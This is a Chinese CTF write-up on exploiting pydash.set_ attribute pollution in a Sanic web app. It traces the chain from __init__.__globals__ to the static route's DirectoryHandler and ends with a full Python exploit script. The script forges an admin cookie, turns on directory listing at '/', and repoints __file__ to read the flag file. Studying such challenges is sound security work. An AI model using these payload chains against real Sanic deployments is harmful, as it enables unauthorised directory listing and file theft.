Sanic&Pydash原型链污染复现
static函数
函数原型如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| def static( self, uri: str, file_or_directory: Union[PathLike, str], pattern: str = r"/?.+", use_modified_since: bool = True, use_content_range: bool = False, stream_large_files: Union[bool, int] = False, name: str = "static", host: Optional[str] = None, strict_slashes: Optional[bool] = None, content_type: Optional[str] = None, apply: bool = True, resource_type: Optional[str] = None, index: Optional[Union[str, Sequence[str]]] = None, directory_view: bool = False, directory_handler: Optional[DirectoryHandler] = None, ): """ directory_view (bool, optional): Whether to fallback to showing the directory viewer when exposing a directory. Defaults to `False`. directory_handler (Optional[DirectoryHandler], optional): An instance of DirectoryHandler that can be used for explicitly controlling and subclassing the behavior of the default directory handler. """
|
重点关注下以上两个参数directory_view
、directory_handler
,这两个参数与读static目录有关
directory_view
测试的时候加上这个参数,然后访问static目录
可以发现实现了目录读取
directory_handler
调试技巧:找路由,因为static也是路由中的一部分,它应该是以表的形式进行存储
在Pycharm的补全下,可以发现有属性app.router.name_index
列表,然后找到一处使用name_index
的代码位置下断点,查看变量
可以发现DirectoryHandler
对象
可以首先构造出的一条链子,需要设置为True
1
| __init__.__globals__.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory_view
|
处理Path对象
其次是WindowsPath
这个对象的处理
在DirectoryHandler下个断点先,传入HTTP请求对象以及URI
在开启directory_view的情况下会进入这个分支
跟进会到这个函数中,可以发现
接下来说明:主要是WindowsPath中的parts元组起作用了
在最后的页面渲染前获取page
self为WindowsPath文件对象,一直跟可以发现最后封装了os.listdir
iterdir为生成器函数,遍历了static目录列表
跟进查看self._accessor.listdir
跟进
看看listdir
然后就是Windows文件对象怎么解析成字符串了,考虑魔术方法:
Windows对应于第一个代码块,对于Linux下应该就是else分支中的代码获取listdir路径
此处使用parts作为元组,拼接成路径字符串
所以第二条链子
1
| __init__.__globals__.app.router.name_index.__mp_main__.static.handler.keywords.directory_handler.directory.parts
|
pydash原型链污染
首先得明确一点,原型链污染不会直接RCE的
原型链污染是通过污染一些关键函数的参数,导致了诸如拼接命令的执行,以及污染一些魔术变量来进行任意文件读、目录读
漏洞场景:
1 2
| pollute = Pollute() pydash.set_(pollute, key, value)
|
exp如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| import requests
url = "https://203ca7f0-a069-4bff-b9bd-fc54ab33db47.challenge.ctf.show"
s = requests.session()
cookie = { "user": '"adm\\073n"' }
resp = s.get(url + "/login", cookies=cookie) print(resp.text)
data1 = { "key": "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory_view", "value": True }
resp1 = s.get(url + "/admin", json=data1) print(resp1.text)
data2 = { "key": "__init__\\\\.__globals__\\\\.app.router.name_index.__mp_main__\\.static.handler.keywords.directory_handler.directory._parts", "value": ["/"] }
resp2 = s.get(url + '/admin', json=data2) print(resp2.text)
readflag = { "key": "__init__\\\\.__globals__\\\\.__file__", "value": "/24bcbd0192e591d6ded1_flag" }
resp3 = s.get(url+'/admin', json=readflag)
resp4 = s.get(url+'/src') print(resp4.text)
s.close()
|
只能说这题,极具web调链的艺术!
参考
https://www.cnblogs.com/gxngxngxn/p/18205235